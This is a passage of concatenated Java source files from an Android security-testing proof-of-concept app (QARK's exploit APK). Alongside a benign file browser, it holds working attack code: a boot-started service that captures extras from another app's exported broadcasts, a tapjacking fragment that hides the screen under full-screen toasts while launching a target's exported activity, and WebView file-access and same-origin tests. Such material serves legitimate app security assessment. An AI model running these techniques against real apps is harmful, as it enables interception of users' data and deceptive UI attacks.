java.io.FilenameFilter; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; import java.util.List; public class FileBrowserFragment extends Fragment { private final int REQUEST_CODE_PICK_DIR = 1; private final int REQUEST_CODE_PICK_FILE = 2; // Intent Action Constants public static final String INTENT_ACTION_SELECT_DIR = "com.secbro.qark.SELECT_DIRECTORY_ACTION"; public static final String INTENT_ACTION_SELECT_FILE = "com.secbro.qark.SELECT_FILE_ACTION"; // Intent parameters names constants public static final String startDirectoryParameter = "com.secbro.qark.directoryPath"; public static final String returnDirectoryParameter = "com.secbro.qark.directoryPathRet"; public static final String returnFileParameter = "com.secbro.qark.filePathRet"; public static final String showCannotReadParameter = "com.secbro.qark.showCannotRead"; public static final String filterExtension = "com.secbro.qark.filterExtension"; // Stores names of traversed directories ArrayList<String> pathDirsList = new ArrayList<String>(); // Check if the first level of the directory structure is the one showing // private Boolean firstLvl = true; private static final String LOGTAG = "F_PATH"; private List<Item> fileList = new ArrayList<Item>(); private File path = null; private String chosenFile; // private static final int DIALOG_LOAD_FILE = 1000; ArrayAdapter<Item> adapter; private boolean showHiddenFilesAndDirs = true; private boolean directoryShownIsEmpty = false; private String filterFileExtension = null; // Action constants private static int currentAction = -1; private static final int SELECT_DIRECTORY = 1; private static final int SELECT_FILE = 2; public static FileBrowserFragment newInstance() { FileBrowserFragment fragment = new FileBrowserFragment(); return fragment; } @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { super.onCreateView(inflater, container, savedInstanceState); View retVal = inflater.inflate(R.layout.fragment_file_browser, container, false); // // Set action for this activity // Intent thisInt = this.getActivity().getIntent(); // currentAction = SELECT_DIRECTORY;// This would be a default action in // // case not set by intent if (getArguments() != null ) { if (getArguments().getString(FileBrowserFragment.INTENT_ACTION_SELECT_FILE).equalsIgnoreCase(INTENT_ACTION_SELECT_FILE)) { Log.d(LOGTAG, "SELECT ACTION - SELECT FILE"); currentAction = SELECT_FILE; } } // showHiddenFilesAndDirs = thisInt.getBooleanExtra( // showCannotReadParameter, true); // // filterFileExtension = thisInt.getStringExtra(filterExtension); return retVal; } /** * Mandatory empty constructor for the fragment manager to instantiate the * fragment (e.g. upon screen orientation changes). */ public FileBrowserFragment() { } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } @Override public void onActivityCreated(@Nullable Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); setInitialDirectory(); parseDirectoryPath(); loadFileList(); createFileListAdapter(); initializeButtons(); initializeFileListView(); updateCurrentDirectoryTextView(); Log.d(LOGTAG, path.getAbsolutePath()); } private void setInitialDirectory() { Intent thisInt = this.getActivity().getIntent(); String requestedStartDir = thisInt .getStringExtra(startDirectoryParameter); if (requestedStartDir != null && requestedStartDir.length() > 0) {// if(requestedStartDir!=null File tempFile = new File(requestedStartDir); if (tempFile.isDirectory()) this.path = tempFile; }// if(requestedStartDir!=null if (this.path == null) {// No or invalid directory supplied in intent // parameter if (Environment.getExternalStorageDirectory().isDirectory() && Environment.getExternalStorageDirectory().canRead()) path = Environment.getExternalStorageDirectory(); else path = new File("/"); }// if(this.path==null) {//No or invalid directory supplied in intent // parameter }// private void setInitialDirectory() { private void parseDirectoryPath() { pathDirsList.clear(); String pathString = path.getAbsolutePath(); String[] parts = pathString.split("/"); int i = 0; while (i < parts.length) { pathDirsList.add(parts[i]); i++; } } private void initializeButtons() { Button upDirButton = (Button) getView().findViewById(R.id.upDirectoryButton); upDirButton.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { Log.d(LOGTAG, "onclick for upDirButton"); loadDirectoryUp(); loadFileList(); adapter.notifyDataSetChanged(); updateCurrentDirectoryTextView(); } });// upDirButton.setOnClickListener( Button selectFolderButton = (Button) getView().findViewById(R.id.selectCurrentDirectoryButton); if (currentAction == SELECT_DIRECTORY) { selectFolderButton.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { Log.d(LOGTAG, "onclick for selectFolderButton"); returnDirectoryFinishActivity(); } }); } else {// if(currentAction == this.SELECT_DIRECTORY) { selectFolderButton.setVisibility(View.GONE); }// } else {//if(currentAction == this.SELECT_DIRECTORY) { }// private void initializeButtons() { private void loadDirectoryUp() { // present directory removed from list String s = pathDirsList.remove(pathDirsList.size() - 1); // path modified to exclude present directory path = new File(path.toString().substring(0, path.toString().lastIndexOf(s))); fileList.clear(); } private void updateCurrentDirectoryTextView() { int i = 0; String curDirString = ""; while (i < pathDirsList.size()) { curDirString += pathDirsList.get(i) + "/"; i++; } if (pathDirsList.size() == 0) { ((Button) getView().findViewById(R.id.upDirectoryButton)) .setEnabled(false); curDirString = "/"; } else ((Button) getView().findViewById(R.id.upDirectoryButton)) .setEnabled(true); long freeSpace = getFreeSpace(curDirString); String formattedSpaceString = formatBytes(freeSpace); if (freeSpace == 0) { Log.d(LOGTAG, "NO FREE SPACE"); File currentDir = new File(curDirString); if (!currentDir.canWrite()) formattedSpaceString = "NON Writable"; } ((Button) getView().findViewById(R.id.selectCurrentDirectoryButton)) .setText("Select\n[" + formattedSpaceString + "]"); ((TextView) getView().findViewById(R.id.currentDirectoryTextView)) .setText("Current directory: " + curDirString); }// END private void updateCurrentDirectoryTextView() { private void showToast(String message) { Toast.makeText(getActivity(), message, Toast.LENGTH_LONG).show(); } private void initializeFileListView() { ListView lView = (ListView) getView().findViewById(R.id.fileListView); lView.setBackgroundColor(Color.LTGRAY); LinearLayout.LayoutParams lParam = new LinearLayout.LayoutParams( ViewGroup.LayoutParams.FILL_PARENT, ViewGroup.LayoutParams.FILL_PARENT); lParam.setMargins(15, 5, 15, 5); lView.setAdapter(this.adapter); lView.setOnItemClickListener(new AdapterView.OnItemClickListener() { public void onItemClick(AdapterView<?> parent, View view, int position, long id) { chosenFile = fileList.get(position).file; File sel = new File(path + "/" + chosenFile); Log.d(LOGTAG, "Clicked:" + chosenFile); if (sel.isDirectory()) { if (sel.canRead()) { // Adds chosen directory to list pathDirsList.add(chosenFile); path = new File(sel + ""); Log.d(LOGTAG, "Just reloading the list"); loadFileList(); adapter.notifyDataSetChanged(); updateCurrentDirectoryTextView(); Log.d(LOGTAG, path.getAbsolutePath()); } else {// if(sel.canRead()) { showToast("Path does not exist or cannot be read"); }// } else {//if(sel.canRead()) { }// if (sel.isDirectory()) { // File picked or an empty directory message clicked else {// if (sel.isDirectory()) { Log.d(LOGTAG, "item clicked"); if (!directoryShownIsEmpty) { Log.d(LOGTAG, "File selected:" + chosenFile); returnFileFinishActivity(sel.getAbsolutePath()); } }// else {//if (sel.isDirectory()) { }// public void onClick(DialogInterface dialog, int which) { });// lView.setOnClickListener( }// private void initializeFileListView() { private void returnDirectoryFinishActivity() { Intent retIntent = new Intent(); retIntent.putExtra(returnDirectoryParameter, path.getAbsolutePath()); getActivity().setResult(getActivity().RESULT_OK, retIntent); getActivity().finish(); }// END private void returnDirectoryFinishActivity() { private void returnFileFinishActivity(String filePath) { Intent retIntent = new Intent(); retIntent.putExtra(returnFileParameter, filePath); getActivity().setResult(getActivity().RESULT_OK, retIntent); getActivity().finish(); }// END private void returnDirectoryFinishActivity() { private void loadFileList() { try { path.mkdirs(); } catch (SecurityException e) { Log.e(LOGTAG, "unable to write on the sd card "); } fileList.clear(); if (path.exists() && path.canRead()) { FilenameFilter filter = new FilenameFilter() { public boolean accept(File dir, String filename) { File sel = new File(dir, filename); boolean showReadableFile = showHiddenFilesAndDirs || sel.canRead(); // Filters based on whether the file is hidden or not if (currentAction == SELECT_DIRECTORY) { return (sel.isDirectory() && showReadableFile); } if (currentAction == SELECT_FILE) { // If it is a file check the extension if provided if (sel.isFile() && filterFileExtension != null) { return (showReadableFile && sel.getName().endsWith( filterFileExtension)); } return (showReadableFile); } return true; }// public boolean accept(File dir, String filename) { };// FilenameFilter filter = new FilenameFilter() { String[] fList = path.list(filter); this.directoryShownIsEmpty = false; for (int i = 0; i < fList.length; i++) { // Convert into file path File sel = new File(path, fList[i]); Log.d(LOGTAG, "File:" + fList[i] + " readable:" + (Boolean.valueOf(sel.canRead())).toString()); int drawableID = R.drawable.file_icon; boolean canRead = sel.canRead(); // Set drawables if (sel.isDirectory()) { if (canRead) { drawableID = R.drawable.folder_icon; } else { drawableID = R.drawable.folder_icon_light; } } fileList.add(i, new Item(fList[i], drawableID, canRead)); }// for (int i = 0; i < fList.length; i++) { if (fileList.size() == 0) { // Log.d(LOGTAG, "This directory is empty"); this.directoryShownIsEmpty = true; fileList.add(0, new Item("Directory is empty", -1, true)); } else {// sort non empty list Collections.sort(fileList, new ItemFileNameComparator()); } } else { Log.e(LOGTAG, "path does not exist or cannot be read"); } // Log.d(TAG, "loadFileList finished"); }// private void loadFileList() { private void createFileListAdapter() { adapter = new ArrayAdapter<Item>(getActivity(), android.R.layout.select_dialog_item, android.R.id.text1, fileList) { @Override public View getView(int position, View convertView, ViewGroup parent) { // creates view View view = super.getView(position, convertView, parent); TextView textView = (TextView) view .findViewById(android.R.id.text1); // put the image on the text view int drawableID = 0; if (fileList.get(position).icon != -1) { // If icon == -1, then directory is empty drawableID = fileList.get(position).icon; } textView.setCompoundDrawablesWithIntrinsicBounds(drawableID, 0, 0, 0); textView.setEllipsize(null); // add margin between image and text (support various screen // densities) // int dp5 = (int) (5 * // getResources().getDisplayMetrics().density + 0.5f); int dp3 = (int) (3 * getResources().getDisplayMetrics().density + 0.5f); // TODO: change next line for empty directory, so text will be // centered textView.setCompoundDrawablePadding(dp3); textView.setBackgroundColor(Color.LTGRAY); return view; }// public View getView(int position, View convertView, ViewGroup };// adapter = new ArrayAdapter<Item>(this, }// private createFileListAdapter(){ private class Item { public String file; public int icon; public boolean canRead; public Item(String file, Integer icon, boolean canRead) { this.file = file; this.icon = icon; } @Override public String toString() { return file; } }// END private class Item { private class ItemFileNameComparator implements Comparator<Item> { public int compare(Item lhs, Item rhs) { return lhs.file.toLowerCase().compareTo(rhs.file.toLowerCase()); } } public void onConfigurationChanged(Configuration newConfig) { super.onConfigurationChanged(newConfig); if (newConfig.orientation == Configuration.ORIENTATION_LANDSCAPE) { Log.d(LOGTAG, "ORIENTATION_LANDSCAPE"); } else if (newConfig.orientation == Configuration.ORIENTATION_PORTRAIT) { Log.d(LOGTAG, "ORIENTATION_PORTRAIT"); } // Layout apparently changes itself, only have to provide good onMeasure // in custom components // TODO: check with keyboard // if(newConfig.keyboard == Configuration.KEYBOARDHIDDEN_YES) }// END public void onConfigurationChanged(Configuration newConfig) { public static long getFreeSpace(String path) { StatFs stat = new StatFs(path); long availSize = (long) stat.getAvailableBlocks() * (long) stat.getBlockSize(); return availSize; }// END public static long getFreeSpace(String path) { public static String formatBytes(long bytes) { // TODO: add flag to which part is needed (e.g. GB, MB, KB or bytes) String retStr = ""; // One binary gigabyte equals 1,073,741,824 bytes. if (bytes > 1073741824) {// Add GB long gbs = bytes / 1073741824; retStr += (new Long(gbs)).toString() + "GB "; bytes = bytes - (gbs * 1073741824); } // One MB - 1048576 bytes if (bytes > 1048576) {// Add GB long mbs = bytes / 1048576; retStr += (new Long(mbs)).toString() + "MB "; bytes = bytes - (mbs * 1048576); } if (bytes > 1024) { long kbs = bytes / 1024; retStr += (new Long(kbs)).toString() + "KB"; bytes = bytes - (kbs * 1024); } else retStr += (new Long(bytes)).toString() + " bytes"; return retStr; } }
18,978
40.169197
161
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/intentsniffer/BroadcastIntentSnifferActivity.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.intentsniffer; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.widget.TextView; import com.secbro.qark.R; import com.secbro.qark.intentsniffer.services.BroadcastStealerService; public class BroadcastIntentSnifferActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.fragment_broadcast_stealer); SharedPreferences prefs = this.getSharedPreferences( getPackageName(), Context.MODE_PRIVATE); TextView textview = (TextView) findViewById(R.id.activity_broadcast_stealer_text_view); textview.setText(prefs.getString("foo", "Listening..." )); Intent msgIntent = new Intent(this, BroadcastStealerService.class); msgIntent.setAction("Start"); startService(msgIntent); } }
1,540
40.648649
161
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/intentsniffer/BroadcastIntentSnifferFragment.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.intentsniffer; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; import android.support.annotation.Nullable; import android.support.v4.app.Fragment; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.TextView; import com.secbro.qark.R; import com.secbro.qark.intentsniffer.services.BroadcastStealerService; public class BroadcastIntentSnifferFragment extends Fragment { public static BroadcastIntentSnifferFragment newInstance() { BroadcastIntentSnifferFragment fragment = new BroadcastIntentSnifferFragment(); return fragment; } @Override public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) { View retVal = inflater.inflate(R.layout.fragment_broadcast_stealer, container, false); SharedPreferences prefs = this.getActivity().getSharedPreferences( getActivity().getPackageName(), Context.MODE_PRIVATE); TextView textview = (TextView) retVal.findViewById(R.id.activity_broadcast_stealer_text_view); textview.setText(prefs.getString("foo", "Listening..." )); Intent msgIntent = new Intent(this.getActivity(), BroadcastStealerService.class); msgIntent.setAction("Start"); this.getActivity().startService(msgIntent); return retVal; } @Override public void onResume() { SharedPreferences prefs = this.getActivity().getSharedPreferences( getActivity().getPackageName(), Context.MODE_PRIVATE); TextView textview = (TextView) this.getActivity().findViewById(R.id.activity_broadcast_stealer_text_view); textview.setText(prefs.getString("foo", "Listening..." )); super.onResume(); } /** * Mandatory empty constructor for the fragment manager to instantiate the * fragment (e.g. upon screen orientation changes). */ public BroadcastIntentSnifferFragment() { } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); } }
2,695
36.444444
161
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/intentsniffer/services/BootReceiver.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.intentsniffer.services; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; public class BootReceiver extends BroadcastReceiver { @Override public void onReceive(Context context, Intent intent) { Intent service = new Intent(context, BroadcastStealerService.class); context.startService(service); } }
883
37.434783
161
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/intentsniffer/services/BroadcastStealerService.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.intentsniffer.services; import android.app.IntentService; import android.app.Service; import android.content.BroadcastReceiver; import android.content.Intent; import android.content.Context; import android.content.IntentFilter; import android.content.SharedPreferences; import android.os.Bundle; import android.os.IBinder; import android.util.Log; import com.secbro.qark.R; import com.secbro.qark.TopLevelActivity; /** * An {@link IntentService} subclass for handling asynchronous task requests in * a service on a separate handler thread. * <p/> * TODO: Customize class - update intent actions, extra parameters and static * helper methods. */ public class BroadcastStealerService extends Service { private static final String LOG_TAG = BroadcastStealerService.class.getSimpleName(); private String[] intentNames = {}; private final BroadcastReceiver receiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); for(int i=0;i<intentNames.length;i++) { Bundle bundle = intent.getExtras(); if (action.equals(intentNames[i])) { for (String key : bundle.keySet()) { Object value = bundle.get(key); SharedPreferences prefs = getSharedPreferences( getPackageName(), Context.MODE_PRIVATE); prefs.edit().putString("foo", prefs.getString("foo", "Listening...") + "\n " + "KEY: " + key + "VALUE: " + value.toString()).apply(); } Log.i("BroadcastStealerService", "intent received"); } } } }; @Override public void onCreate() { super.onCreate(); IntentFilter filter = new IntentFilter(); //filter.addAction("android.provider.Telephony.SMS_RECEIVED"); String[] intentNames = getResources().getStringArray(R.array.exportedBroadcasts); for (String name : intentNames){ filter.addAction(getResources().getString(getResources().getIdentifier(name, "string", TopLevelActivity.PACKAGE_NAME))); } registerReceiver(receiver, filter); } @Override public void onDestroy() { unregisterReceiver(receiver); } @Override public IBinder onBind(Intent intent) { return null; } }
2,951
35.9
161
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/tapjacking/TapJackingExploitFragment.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.tapjacking; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.app.Fragment; import android.support.v4.app.ListFragment; import android.util.Log; import android.view.Gravity; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.AdapterView; import android.widget.ArrayAdapter; import android.widget.ListAdapter; import android.widget.ListView; import android.widget.Toast; import com.secbro.qark.R; import com.secbro.qark.TopLevelActivity; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.List; import java.util.Map; /** * A simple {@link Fragment} subclass. * Use the {@link TapJackingExploitFragment#newInstance} factory method to * create an instance of this fragment. */ public class TapJackingExploitFragment extends ListFragment { private final static String LOG_TAG = TapJackingExploitFragment.class.getSimpleName(); private ListView mListView; private ListAdapter mAdapter; private List<String> exportedActivities; private Map<String, String> exportedActivitiesNamesMap; private String exportedActivityName; public static TapJackingExploitFragment newInstance(String param1, String param2) { TapJackingExploitFragment fragment = new TapJackingExploitFragment(); return fragment; } public TapJackingExploitFragment() { // Required empty public constructor } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); exportedActivities = Arrays.asList(getResources().getStringArray(R.array.exportedActivities)); if (exportedActivities != null && exportedActivities.size() != 0) { exportedActivitiesNamesMap = new HashMap<>(); for (String intent : exportedActivities) { if (getResources().getIdentifier(intent, "string", getActivity().getPackageName()) != 0) { exportedActivitiesNamesMap.put(intent, getResources().getString(getResources().getIdentifier(intent, "string", getActivity().getPackageName()))); } else { throw new IllegalArgumentException("No matching exportedActivities names found in string.xml "); } } mAdapter = (new ArrayAdapter<String>(getActivity(), android.R.layout.simple_list_item_1, android.R.id.text1, new ArrayList<String>(exportedActivitiesNamesMap.values()))); } else { Log.d(LOG_TAG, "No exported activities to exploit"); } } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { // Inflate the layout for this fragment View retVal = inflater.inflate(R.layout.fragment_tap_jacking_exploit, container, false); mListView = (ListView) retVal.findViewById(android.R.id.list); ((AdapterView<ListAdapter>) mListView).setAdapter(mAdapter); // Testing only // fireLongToast(createToast()); // launchDialer(); return retVal; } @Override public void onListItemClick(ListView l, View v, int position, long id) { super.onListItemClick(l, v, position, id); fireLongToast(createToast()); exportedActivityName = getResources().getString(getResources().getIdentifier(exportedActivities.get(position), "string", getActivity().getPackageName())); launchExportedActivity(exportedActivityName); } private Toast createToast() { LayoutInflater inflater = (LayoutInflater) getActivity().getSystemService(Context.LAYOUT_INFLATER_SERVICE); Toast toast = Toast.makeText(this.getActivity(), "", Toast.LENGTH_SHORT); View view = inflater.inflate(R.layout.tap_jacking_toast, null); toast.setView(view); toast.setGravity(Gravity.FILL, 0, 0); return toast; } private void fireLongToast(final Toast toast) { Thread t = new Thread() { public void run() { int count = 0; int max_count = 10; try { while (true && count < max_count) { toast.show(); /* * We check to see when we are going to give the screen * back. Right before our toasts end we swap activities * to remove any visual clues */ if (count == max_count - 1) { Intent intent = new Intent(getActivity(), TopLevelActivity.class); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent); } /* * this short sleep helps our toasts transition * seamlessly */ sleep(1650); count++; } } catch (Exception e) { } } }; t.start(); } private void launchExportedActivity(final String exportedActivityName) { Thread t = new Thread() { public void run() { /* * We sleep first in order for the toasts to consume the screen * before the activity launches */ try { sleep(1800); } catch (InterruptedException e) { e.printStackTrace(); } Intent intent = new Intent(); intent.setComponent(new ComponentName(getString(R.string.packageName), exportedActivityName)); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); startActivity(intent); } }; t.start(); } private void launchDialer() { Thread t = new Thread() { public void run() { /* * We sleep first in order for the toasts to consume the screen * before the dialer activity launches */ try { sleep(2000); } catch (InterruptedException e) { // TODO Auto-generated catch block e.printStackTrace(); } Intent intent = new Intent(Intent.ACTION_DIAL); intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // showing Google some love intent.setData(Uri.parse("tel:650-253-0000")); startActivity(intent); } }; t.start(); } }
7,199
34.121951
165
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/webviewtests/WebViewTestsActivity.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.webviewtests; import android.support.v7.app.ActionBarActivity; import android.os.Bundle; import android.os.Build; import android.support.v7.app.AppCompatActivity; import android.webkit.WebChromeClient; import android.webkit.WebSettings; import android.webkit.WebView; import android.webkit.WebViewClient; import android.content.SharedPreferences; import android.content.Context; import android.util.Log; import com.secbro.qark.R; public class WebViewTestsActivity extends AppCompatActivity { private WebView webView; public void onCreate(Bundle savedInstanceState) { Log.d("QARK","Hit OnCreate******"); super.onCreate(savedInstanceState); setContentView(R.layout.webview); String browser=getIntent().getStringExtra(WebViewTestsActivityFragment.WEBVIEW_TEST_ID); String url="http://www.secbro.com"; int currentapiVersion= Build.VERSION.SDK_INT; //Create a preferences file as a means to show filesystem access Log.d("QARK", "Started trying to write shared_prefs"); final String qarkPrefs = "qarkPrefs"; final String testKey = "secretPassword"; final String testPassword = "You are seeing the contents of /data/data/com.secbro.qark/shared_prefs/qarkPrefs.xml"; SharedPreferences sharedpreferences; sharedpreferences = getSharedPreferences(qarkPrefs, Context.MODE_PRIVATE); Log.d("QARK", "Got half way through shared_prefs"); SharedPreferences.Editor editor = sharedpreferences.edit(); editor.putString(testKey,testPassword); editor.commit(); Log.d("QARK", "Completed SharedPreference creation"); //End of creating shared preferences webView = (WebView) findViewById(R.id.nav_web_view_tests); Log.d("QARK","Set View"); //Offering same tests, but for different WebViewClients if (browser.matches(".*_AOSP")){ Log.d("QARK", "Android Browser"); webView.setWebViewClient(new WebViewClient()); }else{ Log.d("QARK","Chrome Browser"); webView.setWebChromeClient(new WebChromeClient()); } //speed things up a bit? //webView.getSettings().setCacheMode(WebSettings.LOAD_NO_CACHE); //We'll default to JS being off for now webView.getSettings().setJavaScriptEnabled(false); Log.d("QARK","Javascript disabled"); //Derive test urls and settings based on which test they are running if (browser.matches("JS_.*")){ Log.d("QARK","JS"); url="http://secbro.com/qark/poc/JS_WARNING.html"; webView.getSettings().setJavaScriptEnabled(true); } else if(browser.matches("FS_.*")){ //We can remove the version check if ((currentapiVersion)<Build.VERSION_CODES.KITKAT){ Log.d("QARK","FS"); webView.getSettings().setAllowFileAccess(true); Log.d("QARK", "FS"); url="file:////data/data/com.secbro.qark/shared_prefs/qarkPrefs.xml"; }else{ //url="http://secbro.com/qark/poc/wrongVersion.html"; url="file:////data/data/com.secbro.qark/shared_prefs/qarkPrefs.xml"; } } else if(browser.matches("BU_.*")){ Log.d("QARK","BU"); url="http://secbro.com/qark/poc/BURL_WARNING.html"; } else if(browser.matches("SOP_.*")){ if ((currentapiVersion)<Build.VERSION_CODES.KITKAT){ url = "http://secbro.com/qark/poc/WEBVIEW_SOP_WARNING.html"; }else{ url="http://secbro.com/qark/poc/wrongVersion.html"; } } else if(browser.matches("IFRAME_.*")) { Log.d("QARK", "IFRAME"); if ((currentapiVersion) < Build.VERSION_CODES.KITKAT) { url = "http://secbro.com/qark/poc/WEBVIEW_SOP_WARNING_IFRAME.html"; } else { url = "http://secbro.com/qark/poc/wrongVersion.html"; } } if (browser.matches("BU_.*")){ Log.d("QARK","BU2"); webView.getSettings().setJavaScriptEnabled(true); String contents="<html>\n" + "<head>\n" + "</head>\n" + "<body>\n" + "<script>\n" + "if(document.domain)\n" + "{\n" + "\tdocument.write(\"The base domain for this WebView is set to \" + document.domain);\n" + "}\n" + "else\n" + "{\n" + "\tdocument.write(\"<p style=\\\"color:black\\\">This file appears to be running in the <b>file</b> context, as document.domain is not set</p> <br>\");\n" + "\tdocument.write(\"<p style=\\\"color:black\\\">If the BaseURL were set, the document.domain would be set to it's value</p>\")\n" + "}\n" + "</script>\n" + "\n" + "</body>\n" + "</html>"; webView.loadDataWithBaseURL("http://www.nsa.gov", contents, "text/html", "utf-8", "http://secbro.com/poc/fail.html"); }else { webView.getSettings().setCacheMode(WebSettings.LOAD_NO_CACHE); webView.loadUrl(url); } } }
5,872
41.557971
176
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/webviewtests/WebViewTestsActivityFragment.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.webviewtests; import android.content.Intent; import android.support.v4.app.ListFragment; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import com.secbro.qark.R; import java.util.ArrayList; import java.util.Arrays; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; import android.widget.AdapterView; import android.widget.ArrayAdapter; import android.widget.ListAdapter; import android.widget.ListView; /** * A placeholder fragment containing a simple view. */ public class WebViewTestsActivityFragment extends ListFragment { private final static String LOG_TAG = WebViewTestsActivityFragment.class.getSimpleName(); public static final String WEBVIEW_TEST_ID = "TestId"; private List<String> webviewTests; private Map<String, String> webviewNamesMap; /** * The Adapter which will be used to populate the ListView/GridView with * Views. */ private ListAdapter mAdapter; /** * The fragment's ListView/GridView. */ private ListView mListView; public static WebViewTestsActivityFragment newInstance() { WebViewTestsActivityFragment fragment = new WebViewTestsActivityFragment(); return fragment; } /** * Mandatory empty constructor for the fragment manager to instantiate the * fragment (e.g. upon screen orientation changes). */ public WebViewTestsActivityFragment() { } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreateView(inflater, container, savedInstanceState); View retVal = inflater.inflate(R.layout.fragment_web_view_tests, container, false); mListView = (ListView) retVal.findViewById(android.R.id.list); ((AdapterView<ListAdapter>) mListView).setAdapter(mAdapter); return retVal; } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); webviewTests = Arrays.asList(getResources().getStringArray(R.array.webViewTests)); webviewNamesMap= new LinkedHashMap<>(); webviewNamesMap.put("TestName0","Javascript Enabled: WebViewClient"); webviewNamesMap.put("TestName1","Javascript Enabled: WebChromeClient"); webviewNamesMap.put("TestName2","File URI Access: WebViewClient"); webviewNamesMap.put("TestName3","File URI Access: WebChromeClient"); webviewNamesMap.put("TestName4","BaseURL Override: WebViewClient"); webviewNamesMap.put("TestName5","BaseURL Override: WebChromeClient"); webviewNamesMap.put("TestName6","SOP Bypass: WebViewClient"); webviewNamesMap.put("TestName7","SOP Bypass: WebChromeClient"); webviewNamesMap.put("TestName8","SOP Bypass IFrame: WebViewClient"); webviewNamesMap.put("TestName9","SOP Bypass IFrame: WebChromeClient"); mAdapter = (new ArrayAdapter<String>(getActivity(), android.R.layout.simple_list_item_1, android.R.id.text1, new ArrayList<String>(webviewNamesMap.values()))); } @Override public void onListItemClick(ListView l, View v, int position, long id) { super.onListItemClick(l, v, position, id); Intent startActivityIntent = new Intent(getActivity(), WebViewTestsActivity.class); startActivityIntent.putExtra(WEBVIEW_TEST_ID, webviewTests.get(position)); startActivity(startActivityIntent); } }
4,024
34
161
java
qark
qark-master/tests/test_java_files/check_permissions.java
import android.content.Context; class Test { public static void Test(Context context) { context.checkCallingOrSelfPermission(); context.enforceCallingOrSelfPermission(); } }
186
22.375
45
java
qark
qark-master/tests/test_java_files/dynamic_broadcast_receiver.java
